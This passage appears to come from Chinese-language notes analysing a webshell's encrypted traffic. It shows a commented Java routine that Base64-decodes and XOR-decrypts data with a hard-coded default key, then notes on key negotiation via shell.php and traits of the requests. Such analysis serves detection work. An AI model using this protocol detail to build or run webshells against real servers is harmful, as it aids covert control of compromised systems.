Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
// 使用解码器对输入的字节数组进行解码
decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
} catch (Throwable e) {
// 如果加载 java.util.Base64 失败,尝试加载 sun.misc.BASE64Decoder 类
baseCls = Class.forName("sun.misc.BASE64Decoder");
// 创建 BASE64Decoder 的实例
Object Decoder = baseCls.newInstance();
// 使用 BASE64Decoder 对输入的字节数组进行解码,注意这里需要将字节数组转换为字符串
decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
// 定义一个密钥,用于后续的异或操作
String key = "e45e329feb5d925b";
// 对解码后的字节数组进行异或操作,使用密钥的字节
for (int i = 0; i < decodebs.length; i++) {
// 将解码后的字节与密钥的相应字节进行异或运算
decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
}
// 返回解密后的字节数组
return decodebs;
}
第一阶段-密钥协商
首先tcp连接,然后访问 shell.php
请求响应加密方式一样
对称加密
xor加密
base64加密
1) referer与url目录级数一致